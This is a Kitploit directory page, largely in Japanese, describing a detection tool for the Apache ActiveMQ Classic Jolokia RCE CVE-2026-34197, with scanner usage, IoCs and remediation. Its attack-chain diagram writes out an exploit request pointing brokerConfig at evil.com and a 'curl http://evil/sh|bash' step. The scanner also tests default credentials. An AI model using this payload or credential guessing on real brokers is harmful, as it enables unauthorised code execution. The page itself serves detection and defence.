Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-34197 — Apache ActiveMQ Classic のRCE(CVE-2026-34197)をJolokia API経由で検出するPythonおよびNmap NSEスクリプト。未認証アクセスとバージョンの脆弱性をチェックします。 | Kitploit
ツール/GitHubGitHub/keraattin/cve-2026-34197
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ネットワークセキュリティペネトレーションテスト
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ Classic のRCE(CVE-2026-34197)をJolokia API経由で検出するPythonおよびNmap NSEスクリプト。未認証アクセスとバージョンの脆弱性をチェックします。

リポジトリを見る
245ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-34197 — Apache ActiveMQ Classic の Jolokia API を介した RCE

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Apache ActiveMQ Classic におけるリモートコード実行の脆弱性です。攻撃者は Jolokia API(/api/jolokia/)を通じて addNetworkConnector(String) MBean オペレーションを呼び出すことで、任意のコードを実行できます。攻撃者はリモートの Spring XML ファイルを指す悪意のある brokerConfig パラメータを埋め込み、ActiveMQ がそれを取得・解析して任意の Java オブジェクトをインスタンス化し、コード実行を達成します。

ActiveMQ バージョン 6.0.0 から 6.1.1 では、Jolokia エンドポイントは完全に認証なしであり、これはゼロクリックの未認証 RCE となります。

この脆弱性は、AI 支援による発見まで13年間コードベースに隠されていました。


目次

  • クイックファクト
  • Apache ActiveMQ とは
  • 脆弱性の詳細
    • アーキテクチャ: Jolokia と JMX
    • 攻撃チェーン
    • 認証のギャップ
  • 影響分析
  • 影響を受けるバージョン
  • 検出
    • Python スキャナ
    • Nmap NSE スクリプト
    • 手動検証
  • 侵害の痕跡
  • 修復
  • 参考情報
  • 著者

クイックファクト

フィールド詳細
CVE IDCVE-2026-34197
ベンダーApache Software Foundation
製品Apache ActiveMQ Classic
影響を受けるバージョン5.19.4 および 6.2.3 より前のすべてのバージョン
未認証 RCEバージョン 6.0.0 から 6.1.1(Jolokia に認証なし)
CVSS v3.18.8(高)
CWECWE-94 — コード生成の不適切な制御
攻撃ベクトルネットワーク
認証5.x では必須。6.0.0 から 6.1.1 では不要
ユーザー操作なし
エクスプロイトの成熟度公開 PoC あり
パッチ適用済みバージョンActiveMQ Classic 5.19.4、6.2.3
バグの年齢コードベースに約13年
発見方法AI 支援による脆弱性研究

Apache ActiveMQ とは

Apache ActiveMQ Classic は、Java エコシステムで最も広く導入されているオープンソースのメッセージブローカーの1つです。Java Message Service(JMS)仕様を実装し、世界中の数千のエンタープライズ環境で非同期通信のバックボーンとして機能しています。

ActiveMQ は、注文処理キューや金融取引パイプラインから、IoT テレメトリストリームやマイクロサービスのイベントバスまで、あらゆるものを処理します。組織が Java ベースのマイクロサービス、イベント駆動型アーキテクチャ、または何らかの形式の非同期メッセージングを使用している場合、スタックのどこかに ActiveMQ が存在する可能性が高いです。``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

root@kitploit:~
攻撃者がActiveMQを侵害すると、単に1台のサーバーでシェルを取得するだけでは終わりません。攻撃者は組織内の**すべてのメッセージフローの中心**に位置し、重要システム間のメッセージを読み取り、変更、リダイレクト、または注入することができます。

---

## 脆弱性の詳細解説

### アーキテクチャ: JolokiaとJMX

**JMX**(Java Management Extensions)は、Javaアプリケーションの標準的な管理インターフェースです。アプリケーション内部の監視と制御を可能にする「MBean」(Managed Beans)を公開します。ActiveMQは、ブローカー、キュー、トピック、接続などを管理するためのMBeanを公開します。

**Jolokia**は、JMX-over-HTTPブリッジです。JMX操作をRESTfulなJSON APIに変換し、専用のJMXクライアントを必要とせずにHTTPリクエスト経由でJavaアプリケーションを管理できるようにします。

ActiveMQ ClassicにはJolokiaが組み込まれており、Webコンソールのポート(デフォルト: 8161)で`/api/jolokia/`にアクセスできます。```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

ここからが問題の始まりです。Jolokiaは、シンプルなHTTP APIを通じてJMX管理の全機能を公開します。そして、ブローカー上で利用可能なMBean操作の1つに、addNetworkConnector(String)があります。

攻撃チェーン

addNetworkConnector(String)操作は、ActiveMQブローカーインスタンス間のネットワークブリッジを作成するために設計されています。これは、別のブローカーへの接続方法を記述したURI文字列を受け取ります。

ActiveMQは、プロセス内ブローカー接続用のvm:// URIスキームをサポートしています。これらのURIは、Spring XML設定ファイルを指すbrokerConfigパラメータをサポートしています。そして、Spring XMLは任意のJavaオブジェクトをインスタンス化できます。

完全なチェーンは次のとおりです。``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

root@kitploit:~
ActiveMQは、設計されたとおりの動作をしています。ブローカー構成を読み込んでいるのです。問題は、構成ソースが攻撃者によって制御されており、Spring XMLが事実上コード実行形式であることです。

### 認証のギャップ

これこそが、この脆弱性を深刻なものから致命的なものへと引き上げる要因です。

| ActiveMQバージョン | Jolokia認証ステータス | 影響 |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | 認証あり(デフォルト: admin:admin) | 認証済みRCE、多くの場合簡単に回避可能 |
| 6.0.0 から 6.1.1 | **完全に認証なし** | **認証なしRCE** |
| 6.1.2 から 6.2.2 | 認証あり | 認証済みRCE |
| 5.19.4+ / 6.2.3+ | パッチ適用済み | 脆弱性なし |

ActiveMQ 6.0.0から6.1.1では、Jolokiaエンドポイントは**ゼロ認証**を必要とします。ポート8161に到達できる者は誰でも、認証なしのリモートコード実行を取得できます。

Jolokiaが認証を必要とするバージョンであっても、デフォルトの認証情報`admin:admin`は広く知られており、開発、ステージング、本番環境で変更されずに残されていることがよくあります。

---

## 影響分析

**ブローカーホストへの直接的な影響:**
- ActiveMQプロセスの権限による完全なリモートコード実行
- すべてのメッセージキュー、トピック、保存済みメッセージへのアクセス
- 転送中のメッセージの読み取り、変更、注入が可能
- 構成ファイル、キーストア、保存済み認証情報へのアクセス

**下流への影響(メッセージ操作による):**
- 処理キューへの悪意のあるメッセージの注入
- 処理中の金融取引、注文、コマンドの変更
- ブローカーを通過する機密データの傍受
- メッセージに依存するすべてのサービスの中断

**エンタープライズリスクの増幅:**
- ActiveMQは、それを使用するすべてのアプリケーションの交差点に位置します
- 単一の侵害されたブローカーが、数十の接続されたサービスに影響を与える可能性があります
- メッセージブローカーは通常、広範なアクセス権を持つ信頼されたネットワークゾーンに配置されます
- ブローカーのネットワーク上の位置からの横方向の移動は簡単です```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

影響を受けるバージョン

バージョンステータス
ActiveMQ Classic 6.2.3+パッチ適用済み
ActiveMQ Classic 5.19.4+パッチ適用済み
ActiveMQ Classic 6.0.0 から 6.2.2脆弱 (6.0.0 から 6.1.1 = 認証なし)
ActiveMQ Classic < 5.19.4脆弱 (認証あり)
ActiveMQ Artemis影響なし (異なるコードベース)

検出

Python スキャナ

Python スクリプトは、多段階の分析を通じて脆弱な ActiveMQ インスタンスを検出します。

動作の仕組み:

  1. Jolokia エンドポイントチェック — /api/jolokia/ が認証なしでアクセス可能かどうかをテストします (HTTP 200 = オープン、401 = 認証が必要)
  2. デフォルト認証情報テスト — Jolokia が認証を要求する場合、admin:admin、user:user、admin:activemq を試します
  3. バージョン検出 — /admin/ および / ページをスクレイピングし、正規表現パターンマッチングを使用して ActiveMQ バージョン文字列を探します
  4. MBean アクセシビリティ — org.apache.activemq:type=Broker の安全な Jolokia 検索クエリを実行し、エクスプロイトパスが存在することを確認します

エクスプロイトペイロードは送信されません。コマンドは実行されません。スキャナはエンドポイントのアクセシビリティとバージョン情報のみを観察します。

使用方法:```bash

Install dependencies

pip install -r requirements.txt

Single target

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161

With custom credentials

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret

Bulk scan from file with verbose output

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v

HTTPS with SSL verification disabled (default)

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161

Increased timeout for slow networks

python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20

root@kitploit:~
**オプション:**

| フラグ | 説明 | デフォルト |
|------|-------------|---------|
| `-t`, `--target` | 単一のターゲットURL(例: `http://host:8161`) | — |
| `-f`, `--file` | ターゲットURLを1行に1つずつ含むファイル(`#`コメント対応) | — |
| `-u`, `--username` | Jolokia認証用のユーザー名 | — |
| `-p`, `--password` | Jolokia認証用のパスワード | — |
| `-o`, `--output` | 結果をJSONファイルに保存 | — |
| `--timeout` | 接続タイムアウト(秒) | `10` |
| `--verify-ssl` | SSL証明書の検証を有効化 | 無効 |
| `-v`, `--verbose` | 詳細情報を含む冗長出力 | オフ |

**出力例:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...

======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
  Jolokia Accessible:    YES
  Requires Auth:         NO (unauthenticated)
  ActiveMQ Version:      6.1.0
  Vulnerable:            YES
  Unauth RCE (6.0-6.1): YES — CRITICAL
  Broker MBean Access:   YES

  Details:
    - Jolokia API accessible WITHOUT authentication
    - Detected ActiveMQ version: 6.1.0
    - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
      CRITICAL: No auth required!
    - Broker MBean accessible: [org.apache.activemq:type=Broker,...]

======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================

Nmap NSE スクリプト```bash

Install the NSE script

sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb

Basic scan

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan a subnet

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24

Multiple common ports

nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia

Scan targets from a file

nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt

With service version detection

nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia

root@kitploit:~
**Nmap出力の例:**```
PORT     STATE SERVICE
8161/tcp open  http
| CVE-2026-34197_ActiveMQ_Jolokia:
|   VULNERABLE:
|   Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
|     State: VULNERABLE
|     Risk level: CRITICAL
|     ActiveMQ Version: 6.1.0
|     Jolokia Accessible: true (unauthenticated)
|     Description:
|       CRITICAL: Jolokia API is accessible without authentication on
|       ActiveMQ 6.1.0, enabling unauthenticated remote code execution
|       via addNetworkConnector MBean.
|     References:
|_      https://nvd.nist.gov/vuln/detail/CVE-2026-34197

手動検証

curl を使って手動で確認したい場合:```bash

Step 1: Check if Jolokia is accessible (should return JSON if open)

curl -sk http://:8161/api/jolokia/ | python3 -m json.tool

Step 2: Check with default credentials (if Step 1 returns 401)

curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool

Step 3: Check MBean accessibility (safe read-only query)

curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool

root@kitploit:~
ステップ1でJolokiaエージェント情報を含むJSONレスポンスが返された場合、エンドポイントは認証なしです。ステップ2がデフォルト認証情報で成功した場合、認証済みアクセスが得られています。どちらの場合でも、ブローカーのMBeanにアクセスできれば、エクスプロイトの経路が存在します。

---

## 侵害の痕跡(IoC)

環境内で以下の兆候に注意してください:

| 指標 | 確認場所 | 探すべき内容 |
|:---|:---|:---|
| Jolokiaアクセス | Webコンソールのアクセスログ | `addNetworkConnector` を含む `/api/jolokia/` へのPOST |
| 外部へのフェッチ | ネットワークログ / ファイアウォール | ActiveMQから予期しない外部ホストへのHTTPリクエスト |
| Spring XMLの読み込み | ActiveMQログ | `xbean:http://` URIへの参照 |
| ネットワークコネクタ | ブローカー設定 | 自分が作成していない `brokerConfig` パラメータを含む `vm://` URI |
| 子プロセス | プロセス監視 | ActiveMQ Javaプロセスから生成された予期しないプロセス |

**調査コマンド:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/

# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors

# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java

# Check for unexpected child processes
ps aux --forest | grep -A5 activemq

修復策

直ちに実施すべき対応(今すぐ行うこと):

  1. ActiveMQ Classic をバージョン 5.19.4 または 6.2.3(利用中のブランチに応じて)にアップグレードする
  2. Jolokia へのアクセスを制限する。ファイアウォールルールやリバースプロキシの ACL を追加し、/api/jolokia/ への外部アクセスを遮断する
  3. Web コンソールで admin:admin のデフォルト認証情報を使用している場合は、認証情報を変更する

短期対応(今週中):

  1. Jolokia のアクセスログを監査し、悪用の痕跡がないか確認する(addNetworkConnector 操作に注目)
  2. すべての ActiveMQ インスタンスのネットワークコネクタを確認し、不正なエントリがないか調べる
  3. ActiveMQ ブローカーホストからの予期しない外部接続がないか確認する
  4. ブローカー経由で接続するすべてのサービスの認証情報をローテーションする

長期的な対応:

  1. メッセージブローカー基盤のネットワークセグメンテーション(専用管理 VLAN の導入)
  2. Jolokia へのアクセスパターンの監視と、予期しない MBean 操作に対するアラート設定
  3. ActiveMQ を定期的な脆弱性スキャンとパッチ管理サイクルに組み込む
  4. JMX 管理が不要な場合は Jolokia を完全に無効化するか、localhost のみにバインドする

参考情報

  • Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API
  • SecurityWeek — RCE Bug Lurked in Apache ActiveMQ Classic for 13 Years
  • Help Net Security — Apache ActiveMQ RCE Vulnerability CVE-2026-34197
  • CSO Online — Claude Uncovers a 13-year-old ActiveMQ RCE Bug
  • CCB Belgium — Warning: High Severity Vulnerability in Apache ActiveMQ
  • CSA Singapore — Critical Vulnerability in Apache ActiveMQ Classic
  • GBHackers — Claude Identifies Critical 13-Year-Old RCE Vulnerability

著者

Kerem Oruç — サイバーセキュリティエンジニア

  • GitHub: @keraattin
  • Twitter: @keraattin
ツールをダウンロード